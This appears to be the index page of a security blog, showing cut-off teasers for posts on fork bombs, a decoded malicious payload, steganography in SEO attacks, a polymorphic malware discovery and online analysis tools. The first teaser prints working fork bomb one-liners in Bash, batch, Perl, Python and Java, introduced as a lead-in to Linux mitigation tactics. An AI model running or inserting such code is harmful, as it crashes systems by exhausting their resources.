da3m0n s3c

anyone that has worked with Linux for any amount of time, the word fork bomb will be familiar. However, it's not just a terminal command. Below are some implementations in other languages, followed by mitigation tactics for Linux distros. BASH $ :(){ :|: & };: .sh (Shell file) #!/bin/bash ./$0|./$0& .bat (Windows bat implements) :TOP start "" %0 goto TOP ~OR~ %0|%0   #below is the same, but done in command line using ^ to escape specials: echo %0^|%0 > forkbomb.bat forkbomb.bat .pl (Perl implement) #! /bin/perl perl -e "fork while fork" & .py (Python implement) #! /bin/py import os while 1:     os.fork() (Java implement) public class ForkBomb {  public static void main(String[] args)   {    while(true)    { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});   }  } } .js...

This anonymous submission came to us a few days ago, only with the knowledge that the this payload tripped and was dropped by an Enterprise level A/V appliance. The 'submitter' got their hands on it and asked us to break it down. For this project, I elicited the help of F1re_W1re , a very good c0d3r as well as a very good brother. we have worked together many times in the past, with nothing but amazing results. When a second set of eyes or decoded iteration is needed, he is my go to. A hat tip to you, Sir. This project was a true collaboration of skillz to which I graciously thank him for his role as primary contributor. For reasons, I assumed the role of  Project Manager (PM), and Lead Consultant . This was solved by both of us doing out part and offering input and direction as needed. Often time it takes another set of eyes to see what's there, (or just not apparent). You will get what I mean later on. Let's get at it!! After acquiring the sample, it was clear th...

There are two updates to this post, (seen in white )... UPDATE : another good online static malware analysis tool we all know and love, is back up and running. Based on the Cuckoo Sandbox: ~]  Malwr.com  [~ There's many tricks and trade secrets that we (or anyone within cybersec) just don't share. We have decided that there are just some online tools just too good to keep a secret. If they do, they arent around for long, a kind of respect thing. I have another shortlist of very handy online tools at the bottom of our most recent reversing and analysis ~] decoding a malicious webshell  [~ . These play a big part in our processes and used several times daily. Some of these below you may be familiar with, or not, or maybe even use already. If not, you should commit these to memory. Trust us, these will always come in handy. This is only a shortlist, we will add more/update as appropriate. The first you hopefully are quite familiar with, if you are not using this rel...

Circa late '16, i was studying "PHP" lang (amongst others) and reviewing some case studies from a large infiltration and the widespread takeover of spanning several large scale providers that offered blogs, free pages, social accounts, etc. I'm leaving the names out but will give reference to the friendly name given:  the infamous SEO Attacks . Stegonography is nothing new, I'm not reinventing the wheel here, but after over 3mos. of work last year and countless deep dives...I see this has gotten way out of hand for EVERY side that's using the technology. Just look at the wiki dumps from last week... After you read this and your still not convinced of the scale? Leave a comment, I can take you a bit deeper down the rabbit hole. I'm not a (conspiracy) theorist, I don't post a word unless I can back it up. I'm not a whistleblower, not considered good nor bad. Only da3m0n s3c, and this is FYI . I combed through dozens of writeups, mostly by reputabl...

Over the years I have seen and worked on my share of malware, watched as the vulz and exploits come and go. After a few years in frey, one becomes very attuned to the world that's surrounds them. This sixth sense is an asset and more valuable now than any other time, welcome to the new era of malz. This is a hidden world, where silence, stealth and pure imagination contribute to what is normally a quiet infection. Distinguished with highly-complex coding, persistence and it's signature polymorphic design. Those involved in cybersec know of this new breed, stealth and delivery, as well as those who design and code them. This is a journey leading to, and the analysis of a recent live malware discovery by myself. This write-up will highlight the importance of a full skill set and how that sixth sense comes into play. I am, however, leaving out some crucial information on certain parts. This is in consideration that the malware and delivery structure is still in the wild. We hav...